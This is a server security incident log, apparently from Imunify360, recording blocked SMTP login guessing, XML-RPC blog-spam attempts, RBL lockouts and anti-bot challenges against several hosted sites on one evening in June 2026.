# incident

plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e6c4ae6b7b537e70cc592e76ed0f09dfaea538f4||Title:0x1a485b22||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:19:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59400: 535 Incorrect authentication data (set_id=dev.shop)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:19:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25058: 535 Incorrect authentication data (set_id=projetos)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:19:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1788: 535 Incorrect authentication data (set_id=bomb)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:73dd4a78f186d6ae47163245fde4d5509a230888||Title:0x0705adbc||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:19:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:20:17 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:19:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31318: 535 Incorrect authentication data (set_id=nayan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:19:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10786: 535 Incorrect authentication data (set_id=testip)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:19:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44648: 535 Incorrect authentication data (set_id=gaga)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:20:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:60966: 535 Incorrect authentication data (set_id=qwer1234)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:20:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:3304: 535 Incorrect authentication data (set_id=thomson)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3b661be2f09b320a24b89cf433c2e82393888f3c||Title:0x581462e5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:20:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34752: 535 Incorrect authentication data (set_id=sehri)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:20:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51188: 535 Incorrect authentication data (set_id=jcb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:20:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:20:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33782: 535 Incorrect authentication data (set_id=antony)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:20:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55828: 535 Incorrect authentication data (set_id=lms)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:21:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:21:34 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:21:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:35646: 535 Incorrect authentication data (set_id=kohout)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:21:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32958: 535 Incorrect authentication data (set_id=kia)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.154
country_id: 3175395
description:
Jun 20 16:21:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:22:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19752: 535 Incorrect authentication data (set_id=fatma)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:21:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23840: 535 Incorrect authentication data (set_id=narsil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:21:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50108: 535 Incorrect authentication data (set_id=3201)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e34e147b41b118d148cfb34513a2464c671e2156||Title:0x047fa658||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:21:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16248: 535 Incorrect authentication data (set_id=gallery)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:21:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41108: 535 Incorrect authentication data (set_id=fatma)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.2.250
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-21.206.232.2.250||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:22:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56272: 535 Incorrect authentication data (set_id=annamarie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:22:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.40.67
country_id: 2363686
domain: emt.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/emt.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin-2.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92bb3457a44c20831082f031da857677cbea9801||Title:0x6b45ca94||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:22:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61970: 535 Incorrect authentication data (set_id=cdiaz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:22:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64278: 535 Incorrect authentication data (set_id=winni)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:22:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17044: 535 Incorrect authentication data (set_id=samuel1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:22:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:22:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53050: 535 Incorrect authentication data (set_id=demo44)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:23:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:22:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35486: 535 Incorrect authentication data (set_id=binbin)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:23:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:23:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17308: 535 Incorrect authentication data (set_id=morales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:23:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7798: 535 Incorrect authentication data (set_id=zhangjy)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:23:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:23:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24392: 535 Incorrect authentication data (set_id=tiket)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:23:49 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:23:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53504: 535 Incorrect authentication data (set_id=designer)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:23:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65380: 535 Incorrect authentication data (set_id=lijian)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.1.118
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-23.206.232.1.118||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:raymondsama.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:07f628eeae2aed359d8f734744cd0b186ed69033||Title:0x75d925eb||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:23:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30260: 535 Incorrect authentication data (set_id=cpu)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:24:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:24:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:9240: 535 Incorrect authentication data (set_id=peifong)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:25:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24182: 535 Incorrect authentication data (set_id=vhs)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:24:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2214: 535 Incorrect authentication data (set_id=777)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:24:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:8684: 535 Incorrect authentication data (set_id=pia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:24:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:48254: 535 Incorrect authentication data (set_id=vhs)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:25:09 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:25:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:53320: 535 Incorrect authentication data (set_id=testmail1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:raymondsama.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5f3c289183fc282dfd3aca9b6b34dfa0f2b85e2b||Title:0x2eaf7eab||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:24:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64872: 535 Incorrect authentication data (set_id=s12)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24210: 535 Incorrect authentication data (set_id=weixin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:25:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:19210: 535 Incorrect authentication data (set_id=ac\)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.201
country_id: 1269750
description:
Jun 20 16:25:52 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:26:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18302: 535 Incorrect authentication data (set_id=dreamtime)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:26:01 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 202.65.236.45
country_id: 1643084
description:
[2026-06-20 16:26:23 +0000] info [cpaneld] 202.65.236.45 NEW tqbcalqt:ovhHlcIwTGELGQkX address=202.65.236.45,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:25:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:4428: 535 Incorrect authentication data (set_id=ma1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 89.153.57.84
country_id: 2264397
domain: lepoint-actu.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:raymondsama.lepoint-actu.tg||ServerName:lepoint-actu.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:363ffd154fa7641bdd7731c9e0a3aefbe6547ebd||Title:0x499e86a9||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:25:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45666: 535 Incorrect authentication data (set_id=mcollins)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:25:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32558: 535 Incorrect authentication data (set_id=karpov)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.70.223.91
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/02/Goddys-768x512-1.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2024/02/Goddys-768x512-1-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/02/Goddys-768x512-1-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:26:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59042: 535 Incorrect authentication data (set_id=mlc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:26:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:21484: 535 Incorrect authentication data (set_id=ig)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:26:43 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:26:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:52584: 535 Incorrect authentication data (set_id=image3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:26:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40510: 535 Incorrect authentication data (set_id=anoop)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:26:45 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:26:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63294: 535 Incorrect authentication data (set_id=leah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:26:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49476: 535 Incorrect authentication data (set_id=cleaner)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:27:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:25322: 535 Incorrect authentication data (set_id=temple)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:27:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:27:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35110: 535 Incorrect authentication data (set_id=bottom)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:27:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:28:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21070: 535 Incorrect authentication data (set_id=drc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:27:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44494: 535 Incorrect authentication data (set_id=pauln)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:27:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34458: 535 Incorrect authentication data (set_id=excellence)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:27:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16694: 535 Incorrect authentication data (set_id=saveid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:27:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24910: 535 Incorrect authentication data (set_id=orion)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:28:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17552: 535 Incorrect authentication data (set_id=consulting)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:28:57 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:28:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61420: 535 Incorrect authentication data (set_id=bilder)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-20 16:28:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:65386: 535 Incorrect authentication data (set_id=unicorn)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 20 16:28:54 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:28:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37158: 535 Incorrect authentication data (set_id=nozawa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-20 16:28:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14730: 535 Incorrect authentication data (set_id=la2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:28:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25744: 535 Incorrect authentication data (set_id=drmail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 20 16:29:41 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-20 16:29:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53796: 535 Incorrect authentication data (set_id=sensharma)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-20 16:29:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:17198: 535 Incorrect authentication data (set_id=ammanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.92.200
country_id: 3469034
description:
Jun 20 16:30:16 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.92.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-20 16:29:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1906: 535 Incorrect authentication data (set_id=communication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-20 16:29:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:27282: 535 Incorrect authentication data (set_id=sara123)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
